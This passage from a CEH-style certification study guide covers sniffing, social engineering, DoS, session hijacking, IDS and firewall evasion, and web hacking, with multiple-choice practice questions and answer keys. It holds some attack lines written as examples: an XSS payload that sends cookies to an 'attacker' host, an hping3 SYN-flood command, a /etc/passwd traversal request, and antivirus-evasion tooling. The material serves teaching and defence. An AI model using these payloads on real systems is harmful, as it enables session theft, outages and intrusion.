- A) IP spoofing
- B) ARP spoofing
- C) DNS spoofing
- D) MAC spoofing

Answer: A -- The attacker spoofs a different IP address.

Sniffing Technique: DNS Poisoning

Core Concept: DNS poisoning corrupts the DNS cache of a resolver or host, redirecting a domain to a malicious IP. Attackers may exploit DNS protocol weaknesses (spoofed responses) or compromise a DNS server. Used for phishing or intercepting traffic.

Key Tools:

- dnsspoof : `dnsspoof -i eth0 -f hosts.txt`
- Bettercap: dns.spoof module
- Ettercap: DNS spoof plugin

Port Numbers & Protocols: DNS 53

Common Pitfalls:

- DNS uses UDP 53, connectionless, easier to spoof.
- DNSSEC provides authentication of responses.
- Countermeasure: Use DNSSEC, configure DNS servers to limit recursion, use random source ports, and transaction ID randomization.

Practice Question:

An attacker on a local network sends a crafted DNS reply to a victim that resolves www.google.com to 192.168.1.100. Which attack technique is this?

- A) DNS tunneling
- B) DNS amplification
- C) DNS cache poisoning

- D) DNS spoofing

Answer: D -- The attacker directly spoofed a response.

Sniffing Tools

Core Concept: Wireshark is the main GUI protocol analyzer. tcpdump is a CLI packet capture. Other tools: Bettercap (MITM), Cain & Abel (Windows sniffer and cracker), Ettercap, dsniff suite, and NetworkMiner (forensic).

Key Tools:

- **Wireshark:** `filter http.request.method == "POST"`
- **tcpdump:** `tcpdump -i eth0 port 80 -A` (ASCII)
- **Bettercap:** `net.sniff on`
- **NetworkMiner:** extracts files from pcap

Port Numbers & Protocols: N/A

Common Pitfalls:

- Cain & Abel is both a sniffer and password cracker.
- Wireshark display filters vs capture filters are different syntax.
- Countermeasure: Use encryption to render sniffed data useless.

Practice Question:

A security auditor wants to capture all HTTP traffic to a file for later analysis, with minimal CPU. Which command is best?

- A) `nmap -sS -p 80 target`
- B) `ping target`
- C) `tcpdump -i eth0 port 80 -w http.pcap`
- D) `netstat -an`

Answer: C -- tcpdump captures and writes to file.

Sniffing Countermeasures

Core Concept: Defend against sniffing by using encryption (SSL/TLS, SSH, VPN), switching infrastructure, port security, ARP spoofing detection (dynamic ARP inspection), and avoiding insecure protocols (FTP, Telnet, HTTP) for sensitive data.

Key Tools:

- DAI: `ip arp inspection vlan 10`
- Switchport security: `switchport port-security`
- Detection: XArp, ArpON
- VPN: OpenVPN, WireGuard

Port Numbers & Protocols: N/A

Common Pitfalls:

- Countermeasure against ARP poisoning is DAI.
- Against MAC flooding is port security.
- Against DHCP attacks is DHCP snooping.

Practice Question:

Which Cisco switch feature can prevent ARP spoofing by checking ARP packets against a trusted database?

- A) Port security
- B) DHCP snooping
- C) BPDU guard
- D) Dynamic ARP Inspection

Answer: D -- DAI validates ARP packets using the DHCP snooping binding table.

Sniffing Detection Techniques

Core Concept: Detect sniffing by monitoring for promiscuous mode interfaces (differentiating response to ARP requests, DNS tests), checking for reverse DNS lookups on sniffing machines, or using tools like Nmap with scripts.

Key Tools:

- **Nmap:** `nmap --script sniffer-detect <target>`
- NetScanTools Pro Promiscuous Mode Scanner
- AntiSniff

Port Numbers & Protocols: N/A

Common Pitfalls:

- Detection is not always reliable, as advanced sniffers can hide promiscuous mode.
- Running a sniffer on a switched network without ARP spoofing will capture only broadcast and traffic to that host.
- Countermeasure: Rely on prevention rather than detection.

Practice Question:

An administrator suspects a host is sniffing. She runs `nmap --script=sniffer-detect 10.0.0.5` and gets "Likely in promiscuous mode". What does this indicate?

- A) The host is a router
- B) The host is definitely a sniffer
- C) The host is compromised
- D) The host's NIC is likely accepting all frames, not just its own

Answer: D -- The script tests if the NIC is in promiscuous mode.

Sub-Domain: Social Engineering

Social Engineering Concepts

Core Concept: Social engineering exploits human psychology to trick individuals into divulging information or performing actions. Attackers manipulate trust, fear, or urgency instead of breaking technical controls.

Key Tools: SET (Social-Engineer Toolkit): `setoolkit` then Social-Engineering Attacks.
Phishing email templates.

Port Numbers & Protocols: N/A

Common Pitfalls:

- The weakest link in security is the human element.
- Social engineering can be human-based (impersonation, tailgating) or computer-based (phishing).
- Phases of social engineering: research, developing trust, exploit.

Countermeasures: Security awareness training, strict verification policies, and simulated phishing tests.

Practice Question:

An attacker researches a target company's hierarchy, then calls an employee pretending to be the CEO demanding a password reset. Which phase is the attacker in when making the call?

- A) Development of trust
- B) Exploitation
- C) Research
- D) Exit

Answer: B -- The call is the exploitation phase where the actual attack occurs.

Social Engineering Techniques

Core Concept: Techniques include:

- **Phishing** -- mass email
- **Spear phishing** -- targeted, personalized
- **Whaling** -- targeting executives
- **Vishing** -- voice-based
- **Smishing** -- SMS-based
- **Baiting** -- offering something enticing (e.g., infected USB)

- **Quid pro quo** -- service for info
- **Tailgating** -- following someone into a restricted area
- **Shoulder surfing** -- watching someone enter credentials
- **Dumpster diving** -- searching trash

Key Tools: Phishing: Gophish, King Phisher. Baiting: infected USB drops.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Distinguish between phishing types: spear phishing is personalized, whaling targets high-level execs.
- Baiting uses physical media (USB).
- Tailgating requires physical proximity.

Countermeasures: Multi-factor authentication, anti-phishing filters, user training to recognize signs.

Practice Question:

An attacker leaves USB drives labeled "Salary Report 2024" in the company parking lot. Employees find them and plug them in. This technique is:

- A) Baiting
- B) Vishing
- C) Spear phishing
- D) Pretexting

Answer: A -- Baiting uses physical media with enticing labels to exploit curiosity.

Insider Threats

Core Concept: Insider threats come from employees, contractors, or partners with authorized access who intentionally or unintentionally cause harm. They have knowledge of internal systems, making detection harder.

Key Tools: Data exfiltration: USB drives, cloud storage, email. Misuse of legitimate access.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Insiders can be malicious (disgruntled) or negligent (accidental data exposure).
- Privileged insiders pose the highest risk.
- Indicators: abnormal access times, copying large data.

Countermeasures: Principle of least privilege, user behavior analytics (UBA), DLP, background checks, and separation of duties.

Practice Question:

A database administrator downloads the entire customer database to a personal cloud drive right after receiving a negative performance review. This is an example of:

- A) DDoS
- B) Malicious insider threat
- C) Accidental data loss
- D) Spear phishing

Answer: B -- Authorized access used with malicious intent.

Impersonation on Social Networking Sites

Core Concept: Attackers create fake profiles mimicking trusted individuals or organizations to connect with targets, gather information, or spread malware. They clone accounts and send friend requests to the victim's contacts.

Key Tools: Manual profile creation; tools to scrape data. Facebook account cloning. Maltego to map social networks.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Account cloning is duplicating a real profile with same name and photo, then sending requests to the victim's friends to build trust.

Countermeasures: Privacy settings to hide friend list, report fake profiles, educate users to verify requests through another channel.

Practice Question:

A user receives a friend request from a profile using the name and picture of an existing friend. The new profile asks about project details. What attack is this?

- A) Whaling
- B) Keylogging
- C) Social media account cloning
- D) DNS spoofing

Answer: C -- Impersonating a known person on social media is account cloning.

Identity Theft

Core Concept: Identity theft involves stealing personal information (SSN, bank details) to commit fraud. Attackers use phishing, dumpster diving, data breaches, and social media mining to collect PII.

Key Tools: Data breaches databases, dark web markets, credit monitoring services.

Port Numbers & Protocols: N/A

Common Pitfalls:

- **True name identity theft** -- using stolen identity to open new accounts
- **Account takeover** -- gaining access to existing accounts
- Methods like shoulder surfing for PINs.

Countermeasures: Shred documents, use strong unique passwords, enable MFA, monitor credit reports.

Practice Question:

A criminal uses a victim's name, SSN, and date of birth to obtain a credit card. This type of identity theft is known as:

- A) True name identity theft

- B) Account takeover
- C) Phishing
- D) Pretexting

Answer: A -- Creating new accounts with the victim's real name.

Social Engineering Countermeasures

Core Concept: The primary defense is security awareness training. Technical controls include email filtering, DLP, and access controls. Policies for verification, clean desk, and incident reporting.

Key Tools: KnowBe4 (training), PhishMe (simulation). Email filters: Mimecast, Proofpoint.

Port Numbers & Protocols: N/A

Common Pitfalls:

- The most effective countermeasure is user education.
- Technology alone cannot stop all social engineering.
- A good security policy mandates verification of identity before disclosing sensitive information.

Countermeasures: Implement layered defenses: training, policies, technical filters, and physical security.

Practice Question:

Which is the single most effective way to reduce the risk of a successful social engineering attack?

- A) Deploy a firewall
- B) Conduct regular security awareness training
- C) Use strong encryption
- D) Install antivirus

Answer: B -- Training users to recognize and respond to social engineering is key.

Sub-Domain: Denial-of-Service

DoS/DDoS Concepts

Core Concept: Denial of Service (DoS) attacks make a resource unavailable by overwhelming it with traffic or exploiting a vulnerability. DDoS uses multiple compromised systems (botnet) to amplify impact. Targets: bandwidth, system resources, application.

Key Tools: LOIC (low orbit ion cannon), HOIC, Slowloris. Botnets: Mirai.

Port Numbers & Protocols: Common targets: HTTP 80, DNS 53, NTP 123 for amplification.

Common Pitfalls:

- **Volumetric attacks** saturate bandwidth.
- **Protocol attacks** consume server state (SYN flood).
- **Application layer attacks** target web servers with low-and-slow requests (Slowloris).

Countermeasures: Rate limiting, intrusion prevention, anycast, CDN, blackhole routing, and DDoS mitigation services.

Practice Question:

An attacker sends thousands of TCP SYN packets with spoofed source IPs to a web server, never completing the handshake. What type of attack is this?

- A) HTTP flood
- B) Ping of Death
- C) SYN flood
- D) Smurf attack

Answer: C -- SYN flood consumes connection table.

Botnets

Core Concept: A botnet is a network of compromised computers (bots) controlled by a command and control (C2) server. Used for DDoS, spam, credential stuffing. Agents communicate via IRC, HTTP, or P2P.

Key Tools: C2 frameworks: Zeus, Mirai, Cobalt Strike. Detection: Wireshark to spot C2 traffic.

Port Numbers & Protocols: IRC 6667, HTTP 80/443.

Common Pitfalls:

- Bots can be organized in client-server or peer-to-peer. P2P botnets are harder to take down.
- Mirai botnet targets IoT devices.
- Bots are installed via trojans.

Countermeasures: Keep systems patched, antivirus, firewall egress filtering, block known C2 IPs, use IDS/IPS.

Practice Question:

Thousands of IP cameras with default passwords are exploited and start sending HTTP requests to a target website, causing downtime. This botnet likely resembles:

- A) WannaCry
- B) Stuxnet
- C) Zeus
- D) Mirai

Answer: D -- Mirai specifically targets IoT devices with default credentials.

DoS/DDoS Attack Techniques

Core Concept: Techniques include:

- **Volumetric:** UDP flood, ICMP flood
- **Amplification:** DNS, NTP, Memcached reflection
- **Protocol:** SYN flood, Ping of Death, Smurf
- **Application:** HTTP flood, Slowloris

Reflected attacks use spoofed source IP to bounce off servers.

Key Tools:

- `hping3 --flood -S -p 80 target`
- NTP amplification: abuse of monlist
- DNS amplification: query for ANY with spoofed IP

Port Numbers & Protocols: DNS 53, NTP 123, Memcached 11211.

Common Pitfalls:

- Smurf attack sends ICMP echo request with spoofed victim IP to broadcast address; all hosts reply flooding victim.
- Fraggle uses UDP.
- Ping of Death sends malformed oversized ICMP packet.
- Amplification factor is high for NTP (up to 556x).

Countermeasures: Disable unnecessary UDP services, implement ingress filtering (BCP38), rate limiting, anti-spoofing.

Practice Question:

An attacker sends ICMP echo requests to the network broadcast address of 10.0.0.0/24, spoofing the source IP of the victim. All hosts reply to the victim. This is a:

- A) Fraggle attack
- B) SYN flood
- C) DNS amplification
- D) Smurf attack

Answer: D -- Smurf uses ICMP broadcast.

DDoS Case Study

Core Concept: Famous DDoS attacks: 2016 Dyn DNS attack (Mirai botnet), 2018 GitHub memcached amplification (1.35 Tbps). Attackers exploited misconfigured Memcached servers with UDP amplification.

Key Tools: Mirai source code, Memcached `stats` command, DNS reflection.

Port Numbers & Protocols: Memcached 11211 UDP.

Common Pitfalls:

- The GitHub attack used memcached servers with spoofed requests, achieving massive amplification.

Countermeasures: Secure Memcached instances, bind to localhost, firewall UDP, and implement rate limiting.

Practice Question:

In 2018, a DDoS attack peaked at 1.35 Tbps by exploiting publicly accessible Memcached servers. What made the amplification factor so high?

- A) DNS zone transfer
- B) TCP three-way handshake
- C) Small request generated a huge response (up to 51,200x)
- D) ARP spoofing

Answer: C -- Memcached amplification factor is enormous because a small UDP query returns large data.

DoS/DDoS Attack Countermeasures

Core Concept: Defend with traffic monitoring, rate limiting, redundancy, load balancers, DDoS scrubbing services, and proper firewall rules. Block spoofed IPs at edge. Use SYN cookies to mitigate SYN flood.

Key Tools:

- Cloudflare, Akamai (DDoS protection)
- iptables: `iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT`
- Snort DDoS rules

Port Numbers & Protocols: N/A

Common Pitfalls:

- SYN cookies is a defense against SYN flood: server does not allocate state until final ACK.
- Enable IP source guard to prevent spoofing.

Countermeasures: Implement a multi-layer defense: ISP level, perimeter firewall, application layer rate limiting, and scalable cloud resources.

Practice Question:

Which technique can protect a server from SYN flood attacks without dropping legitimate connections?

- A) Block all ICMP
- B) Close port 80
- C) Disable TCP
- D) SYN cookies

Answer: D -- SYN cookies allow the server to handle legitimate connections while under attack.

DoS/DDoS Protection Tools

Core Concept: Tools and services: Cloud-based scrubbing services (Cloudflare, Akamai, AWS Shield), on-premise appliances (F5, Arbor Networks), and network-level protections like blackhole routing.

Key Tools: Cloudflare's DDoS protection (reverse proxy). WAF with rate limiting. iptables with hashlimit.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Blackhole (sinkhole) drops all traffic to the target IP, including legitimate, but protects rest of network.
- Know the difference between on-premise and cloud-based protection.

Countermeasures: Use a hybrid approach: edge mitigation + application level controls.

Practice Question:

An organization wants to defend against volumetric DDoS attacks without investing in hardware. Which solution is best?

- A) Cloud-based DDoS scrubbing service
- B) Install antivirus
- C) Upgrade server CPU
- D) On-premise IPS

Answer: A -- Cloud services can absorb large traffic volumes.

Sub-Domain: Session Hijacking

Session Hijacking Concepts

Core Concept: Session hijacking takes over an authenticated web session by stealing a valid session ID. Attackers can then impersonate the victim without credentials. Methods include session sniffing, XSS, predictable tokens, and MITM.

Key Tools: Wireshark (`filter http.cookie`), Burp Suite (Repeater to modify cookie), Ferret & Hamster (sidejacking), Bettercap.

Port Numbers & Protocols: HTTP/HTTPS

Common Pitfalls:

- Session ID should be unpredictable, long, and use HTTPS.
- **Session fixation** -- attacker forces known session ID onto victim
- **Session hijacking** -- stealing existing ID
- Countermeasure: Use HTTPS, regenerate session ID after login, set Secure and HttpOnly flags.

Practice Question:

An attacker sets up a rogue access point, and a victim connects and logs into an HTTP site. The attacker captures the session cookie and uses it to access the site. What type of attack?

- A) Session hijacking (sidejacking)
- B) SQL injection
- C) Cross-site request forgery
- D) Session fixation

Answer: A -- Stealing and using a session cookie is session hijacking.

Application-Level Session Hijacking

Core Concept: Targets web application session tokens. Methods include predicting session ID (if weak), stealing via XSS, man-in-the-browser, session fixation, or exploiting insecure direct object references. The attacker acts at the HTTP layer.

Key Tools:

- XSS payloads: `<script>new Image().src="http://attacker/cookie.php?c="+document.cookie</script>`
- Burp Suite: intercept and manipulate session cookies
- WebGoat for practice

Port Numbers & Protocols: HTTP/HTTPS

Common Pitfalls:

- Session fixation is prevented by changing session ID after login.
- HttpOnly cookie flag prevents JavaScript from reading the cookie.
- Secure flag ensures cookie sent only over HTTPS.
- Countermeasure: implement all cookie flags, use strong random session ID, re-authenticate for sensitive actions.

Practice Question:

A web application does not issue a new session ID after user authentication. An attacker logs in with a predetermined session ID and sends the same URL to a victim, who logs in. The attacker then uses that session ID. This is:

- A) Session sniffing
- B) Session donation
- C) Session fixation
- D) CSRF

Answer: C -- The attacker fixed the session ID beforehand.

Network-Level Session Hijacking

Core Concept: Intercepting and injecting packets into an existing TCP session between two hosts. Attacker must be able to spoof IP and predict TCP sequence numbers. Tools use ARP spoofing to insert themselves.

Key Tools: Hunt (Linux), Juggernaut, Bettercap, Hping3, Shijack tool.

Port Numbers & Protocols: TCP

Common Pitfalls:

- Network-level hijacking is more difficult now due to random sequence numbers.
- Blind hijacking is when the attacker cannot see responses.
- Countermeasure: Use encrypted protocols (SSH instead of Telnet), IPsec, and implement ingress filtering.

Practice Question:

An attacker uses a tool to inject a command into an existing Telnet session between a user and a server, without disrupting the connection. What technique is this?

- A) DNS poisoning
- B) ARP poisoning
- C) ICMP tunneling
- D) TCP session hijacking

Answer: D -- Injecting into a live TCP session is session hijacking.

Session Hijacking Tools

Core Concept: Application-level: Burp Suite, OWASP ZAP, Ferret/Hamster. Network-level: Hunt, Juggernaut, Bettercap. Browser extensions: Cookie Editor. Many MITM tools include session hijacking capabilities.

Key Tools:

- Bettercap: `set http.proxy.sslstrip true , http.proxy on`
- Ferret: `ferret -i eth0` (creates hamster.txt)
- Hamster: `hamster` then browser proxy to 127.0.0.1:3128
- Burp Suite: Proxy tab intercept

Port Numbers & Protocols: HTTP/HTTPS

Common Pitfalls:

- Hamster & Ferret are specifically sidejacking tools.
- They capture and replay session cookies.
- Countermeasure: Encrypt all traffic, enforce HSTS.

Practice Question:

A penetration tester uses a tool that captures HTTP cookies from a wireless network and then launches a browser-based proxy to reuse them. Which toolset?

- A) Nessus and Nikto
- B) Nmap and Wireshark
- C) John and Hashcat
- D) Ferret and Hamster

Answer: D -- Ferret captures, Hamster replays session cookies.

Session Hijacking Countermeasures

Core Concept: Use HTTPS for entire site, set cookies with Secure, HttpOnly, and SameSite attributes. Regenerate session ID after login and privilege changes. Implement logout function that invalidates session. Detect anomalies like IP change.

Key Tools:

- Web server: `Header always set Strict-Transport-Security "max-age=31536000"`
- PHP: `session_regenerate_id(true)`
- Network: use VPN, SSH tunneling for sensitive connections

Port Numbers & Protocols: N/A

Common Pitfalls:

- Regenerating session ID after login is critical.
- Logging out should destroy the session on server.
- Countermeasure for network-level hijacking: encryption and authentication (IPsec).

Practice Question:

Which cookie attribute prevents client-side JavaScript from accessing the session token?

- A) Secure
- B) SameSite
- C) HttpOnly
- D) Domain

Answer: C -- HttpOnly restricts access from JavaScript, mitigating XSS-based cookie theft.

Sub-Domain: Evading IDS, Firewalls, and Honeypots

IDS, IPS, Firewall, and Honeypot Concepts

Core Concept: IDS (Intrusion Detection System) detects intrusions; IPS (Intrusion Prevention System) blocks them. Firewall filters traffic by rules. Honeypots are decoy systems to lure attackers and study techniques. IDS/IPS use signature-based, anomaly-based, and policy-based detection.

Key Tools: Snort (`snort -i eth0 -c snort.conf`), Suricata, Honeyd, KFSensor, iptables, pfSense.

Port Numbers & Protocols: N/A

Common Pitfalls:

- IDS is passive (detect and alert); IPS is inline (can block).
- Signature detection catches known patterns; anomaly detection flags deviations from baseline.
- Honeyd is a trap; honeynet is a network of honeypots.

Countermeasures: Use IDS/IPS in conjunction with firewall, keep signatures updated, tune to reduce false positives.

Practice Question:

A security device monitors traffic and sends an alert when a packet matches a known attack pattern. This device is operating as:

- A) IPS
- B) Router
- C) IDS
- D) Firewall

Answer: C -- IDS alerts only; does not block.

IDS, IPS, Firewall, and Honeyd Solutions

Core Concept: Commercial and open-source solutions. Snort (open-source IDS/IPS), Cisco Firepower, Palo Alto (NGFW). Honeyd (virtual hosts), Kippo (SSH), Dionaea (malware capture). Tarpit slows attackers.

Key Tools:

- Snort rules: `alert tcp any any -> any 80 (msg:"Attack"; content:"/etc/passwd");`
- pfSense: firewall distro
- Honeyd: configuration file to mimic OS

Port Numbers & Protocols: N/A

Common Pitfalls:

- Snort can run in sniffer mode, packet logger, NIDS.
- Snort rules have action, protocol, source, destination.

Countermeasures: Deploy in-depth: use NGFW with integrated IPS, segment network, and use honeypots to divert attackers.

Practice Question:

Which open-source tool can be configured as both an IDS and IPS by using inline mode?

- A) Nmap
- B) Metasploit
- C) Snort
- D) Wireshark

Answer: C -- Snort can be run inline (IPS) or passive (IDS).

Evading IDS

Core Concept: Attackers bypass IDS by using encryption, fragmentation, evasion techniques (insertion, evasion), polymorphic shellcode, slow scanning, and exploiting IDS blind spots (false negatives).

Key Tools: Fragroute (fragmentation), Nmap `-f`, Metasploit payload encoding (`msfvenom -e x86/shikata_ga_nai`), Hping3 custom packets.

Port Numbers & Protocols: N/A

Common Pitfalls:

- **Insertion attack:** sending packets that IDS accepts but target rejects, causing IDS to see different traffic.
- **Evasion:** sending packets IDS rejects but target accepts.
- Fragmentation overlaps can cause different reassembly.
- Countermeasure: Use stream reassembly in IDS, normalize traffic.

Practice Question:

An attacker fragments the TCP header across multiple packets so that the IDS fails to reassemble and detect the attack string, while the target reassembles correctly. This is:

- A) ARP spoofing
- B) Session hijacking
- C) Insertion
- D) Evasion

Answer: D -- Evasion when target accepts but IDS misses.

Evading Firewalls

Core Concept: Firewalls can be bypassed by using allowed protocols (HTTP tunneling, SSH tunneling), source port manipulation, IP spoofing (if ingress not filtered), fragmenting packets, and using proxies.

Key Tools: Nmap `--source-port 53` , HTTP Tunnel, Tor, VPNs, Proxychains (`proxychains nmap -sT target`).

Port Numbers & Protocols: HTTP 80, DNS 53 commonly allowed.

Common Pitfalls:

- Firewall might allow DNS (53) out; attacker sets source port to 53 to bypass egress rules.
- ICMP tunneling (ICMPTX) uses ICMP packets to carry data.
- Countermeasure: Deep packet inspection, egress filtering with stateful inspection.

Practice Question:

A network allows outbound DNS queries only. An attacker wants to exfiltrate data. He could use:

- A) DNS tunneling
- B) SYN flood
- C) ARP poisoning
- D) SQL injection

Answer: A -- DNS tunneling hides data inside DNS queries, bypassing firewall rules.

Evading NAC and Endpoint Security

Core Concept: Network Access Control (NAC) enforces endpoint compliance (patches, AV) before granting access. Attackers evade by spoofing MAC/IP of an authorized device, using a mobile device not subject to NAC, or exploiting weak authentication.

Key Tools: MAC spoofing, IP spoofing, packet crafting.

Port Numbers & Protocols: N/A

Common Pitfalls:

- NAC bypass techniques: using VoIP phone passthrough, hub to share port, MAC spoofing.
- Endpoint security evasion: disabling AV, using fileless malware, privilege escalation.

Countermeasures: 802.1X with certificate-based authentication, continuous monitoring.

Practice Question:

An attacker plugs a network hub between a trusted IP phone and the wall jack, then connects a laptop. The laptop is granted network access because it inherits the phone's authorization. This bypass technique exploits:

- A) VoIP phone passthrough/NAC bypass
- B) Weak MAC filtering
- C) ARP poisoning
- D) DNS spoofing

Answer: A -- Some NAC implementations trust devices behind an IP phone; attacker piggybacks.

IDS/Firewall Evading Tools

Core Concept: Tools to bypass detection: Nmap (fragmentation, decoy), Hping3 (custom packets), Metasploit payload encoders, veil-evasion, Shellter (code injection), and tunneling tools.

Key Tools:

- Veil-Evasion: generates payloads that bypass AV
- Shellter: dynamic shellcode injection
- Nmap: `--data-length` , `--mtu`
- Colusion (HTTP tunneling)
- ICMPtX (ICMP tunnel)

Port Numbers & Protocols: N/A

Common Pitfalls:

- Veil is specifically designed to bypass antivirus by creating obfuscated payloads.
- Shellter uses PE injection.

Countermeasures: Use heuristic and behavioral AV, EDR, and restrict PowerShell and other tools.

Practice Question:

A penetration tester needs to generate a Windows reverse shell executable that will not be detected by most antivirus. Which tool is purpose-built for this?

- A) Wireshark
- B) Hydra
- C) Nessus
- D) Veil-Framework

Answer: D -- Veil-Evasion is designed to create antivirus-evading payloads.

Detecting Honeypots

Core Concept: Honeypots are traps; attackers detect them by analyzing responses for inconsistencies (e.g., no real traffic, too many open ports), using timing-based detection, or checking known honeypot signatures (e.g., MAC addresses of Honeyd).

Key Tools: Manual probing, Nmap (`-o` for OS, `-sV`), Netcat, Send-Safe Honeypot Hunter.

Port Numbers & Protocols: N/A

Common Pitfalls:

- Honeyd simulates multiple OSes; its default MAC 00:00:0C:XX:XX:XX can be a tell.
- Extremely high uptime or all ports open is suspicious.

Countermeasures: Honeypot operators randomize responses and mix with real systems; use high-interaction honeypots.

Practice Question:

An attacker scans a system and finds ports 1-1000 all open with generic service banners and the MAC address starting with 00:00:0C. What is likely?

- A) A router
- B) A firewall
- C) A real server
- D) A honeypot, possibly Honeyd

Answer: D -- Honeyd default MAC and too many open ports are indicators.

IDS/Firewall Evasion Countermeasures

Core Concept: Defenses include stateful firewalls with deep packet inspection, IDS/IPS with updated signatures and anomaly detection, SSL inspection, ingress/egress filtering, NAC with 802.1X, and limiting unnecessary outbound protocols.

Key Tools: Snort with proper rules, pfSense with Squid proxy, Cisco ASA.

Port Numbers & Protocols: N/A

Common Pitfalls:

- The best defense against evasion is a layered approach: not relying on a single security device.
- Implement strict egress filtering to block tunnels.

Countermeasures: Regular penetration testing to identify evasion paths.

Practice Question:

Which configuration best prevents attackers from using DNS tunneling for exfiltration?

- A) Use a DNS security solution that analyzes query content and limits query size
- B) Allow all outbound DNS
- C) Disable ICMP
- D) Block TCP port 53

Answer: A -- Deep inspection of DNS traffic can detect anomalies and tunneling.

Domain 5: Web Application Hacking

Sub-Domain: Hacking Web Servers

Web Server Concepts

Core Concept: A web server hosts websites, processing HTTP/HTTPS requests. Common servers: Apache, IIS, Nginx. Attackers target web server vulnerabilities (misconfigurations, default accounts) to gain access or deface.

Key Tools: Nmap (`nmap -sV -p 80,443 target`), Netcat (banner grabbing: `nc target 80`), WhatWeb (`whatweb target`).

Port Numbers & Protocols: HTTP 80, HTTPS 443.

Common Pitfalls:

- IIS runs on Windows and uses ISAPI extensions; Apache runs on Linux/Unix.
- Default IIS directory: `C:\Inetpub\wwwroot` ; Apache: `/var/www/html` .

Countermeasures: Patch server software, remove default files, disable directory listing, and run with least privilege.

Practice Question:

An organization's public-facing web server shows "Apache/2.4.7 (Ubuntu)" in the HTTP response header. What can an attacker infer?

- A) The server uses IIS
- B) The server is running on Windows
- C) The server is vulnerable to SQL injection
- D) The server OS and web server version

Answer: D -- The banner reveals software and OS.

Web Server Attacks

Core Concept: Attacks include directory traversal, defacement, DoS, buffer overflow, and exploiting misconfigured authentication. Attackers aim to compromise the server or its hosted applications.

Key Tools: DirBuster (`java -jar DirBuster.jar`), Metasploit web server exploits, Nikto (`nikto -h target`).

Port Numbers & Protocols: HTTP 80, HTTPS 443.

Common Pitfalls:

- Directory traversal (`../` sequences) attempts to access files outside the web root.
- IIS Unicode vulnerability used `%c0%af` to bypass filters.
- Countermeasure: input validation and ACLs.

Countermeasures: Secure configuration, disable unnecessary HTTP methods, apply patches, and use WAF.

Practice Question:

An attacker sends a request `GET ../../../../etc/passwd HTTP/1.1` to a web server. What attack is being attempted?

- A) CSRF
- B) XSS
- C) Directory traversal
- D) SQL injection

Answer: C -- Dot-dot-slash attempts to access files outside web root.

Web Server Attack Methodology

Core Concept: The methodology includes information gathering, footprinting the web server, scanning for vulnerabilities, exploiting vulnerabilities, and maintaining access. It mirrors the general hacking phases but focused on the server.

Key Tools: Recon: Netcraft, Shodan. Scanning: Nikto, Nmap. Exploit: Metasploit. Post-exploit: netcat backdoors.

Port Numbers & Protocols: 80, 443, 8080 (common alternative).

Common Pitfalls:

- EC-Council's methodology steps: (1) Information gathering, (2) Web server footprinting, (3) Website mirroring, (4) Vulnerability scanning, (5) Session hijacking, (6) Web server password cracking.

Countermeasures: Regular vulnerability scans, log monitoring, and using hardened templates.

Practice Question:

After mirroring a target website using HTTrack, an attacker scans the local copy for comments and hidden paths. Which phase is this?

- A) Session hijacking
- B) Web server footprinting
- C) Vulnerability scanning
- D) Information gathering

Answer: B -- Footprinting includes analyzing mirrored content for clues.

Web Server Attack Countermeasures

Core Concept: Harden the web server by removing unnecessary services, applying patches, using secure protocols, setting proper permissions, and deploying a web application firewall (WAF).

Key Tools: Microsoft Baseline Security Analyzer (MBSA), IIS Lockdown Tool, Apache mod_security (WAF).

Port Numbers & Protocols: N/A

Common Pitfalls:

- Changing default banners (obscurity) is not sufficient but can slow automated attacks.
- Disable WebDAV if not needed.

Countermeasures: Implement secure configuration standards, change default credentials, restrict access via IP, use WAF, monitor logs.

Practice Question:

Which measure best protects a web server from known attack signatures?

- A) Disable ICMP
- B) Deploy a Web Application Firewall with updated rules
- C) Use HTTPS
- D) Change the server banner

Answer: B -- A WAF can filter malicious payloads based on signatures.

Patch Management

Core Concept: Regularly updating web server software, OS, and applications to fix known vulnerabilities. Attackers exploit unpatched servers (e.g., outdated Apache Struts). Patch management includes testing and deployment.

Key Tools: WSUS (Windows), unattended-upgrades (Linux), Nessus, SCCM.

Port Numbers & Protocols: N/A

Common Pitfalls:

- **Hotfix** -- single fix; **service pack** -- cumulative.
- Proper patch management requires testing in a non-production environment first.

Countermeasures: Implement a formal patch management policy, automate where possible, and monitor for new vulnerability disclosures (CVE).

Practice Question:

A security team discovers a critical vulnerability in Apache. What should they do before applying the patch to the production server?

- A) Immediately apply it
- B) Shut down the server
- C) Ignore until next monthly cycle
- D) Test the patch in a staging environment

Answer: D -- Testing ensures the patch will not disrupt the application.

Sub-Domain: Hacking Web Applications

Web App Concepts

Core Concept: Web applications run on the server-side, processed via HTTP. They consist of client-side code (HTML/JS), server-side logic (PHP, ASP.NET, Java), and databases. Attackers target the application layer because it often has weak security controls.

Key Tools: Burp Suite, OWASP ZAP, browser dev tools, Wappalyzer (identify tech stack), Acunetix, Netsparker.

Port Numbers & Protocols: HTTP 80, HTTPS 443

Common Pitfalls:

- Web 2.0 uses AJAX, JSON, APIs.
- Countermeasure: Secure coding (input validation, output encoding), regular testing.

Practice Question:

An application processes user-supplied search queries and reflects results without sanitization. What is the potential security risk?

- A) Buffer overflow
- B) SQL injection
- C) Reflected XSS
- D) Directory traversal

Answer: C -- Reflected input directly in page allows XSS.

Web App Threats

Core Concept: OWASP Top 10 lists major web app risks: injection, broken authentication, sensitive data exposure, XXE, broken access control, security misconfiguration, XSS, insecure deserialization, using components with known vulnerabilities, insufficient logging.

Key Tools: Burp Suite, SQLMap, XSSer, OWASP ZAP.

Port Numbers & Protocols: N/A

Common Pitfalls:

- EC-Council heavily tests OWASP Top 10.
- Countermeasure: use secure development lifecycle, code review, penetration testing.

Practice Question:

A web app accepts XML input and processes external entities, allowing an attacker to read local files. This vulnerability is:

- A) CSRF
- B) File upload
- C) XML External Entity (XXE)
- D) SQL Injection

Answer: C -- XXE processes external entity references.

Web App Hacking Methodology

Core Concept: CEH's structured approach: (1) Footprint web infrastructure, (2) Analyze web applications, (3) Bypass client-side controls, (4) Attack authentication, (5) Attack authorization, (6) Attack session management, (7) Perform injection attacks, (8) Attack application logic, (9) Attack shared environments, (10) Attack database connectivity, (11) Attack web services, (12) Attack web app client.

Key Tools: Each phase uses tools: Nmap, WhatWeb (footprint); Burp Spider (analysis); Burp Repeater (bypass controls); Hydra (authentication).

Port Numbers & Protocols: N/A

Common Pitfalls:

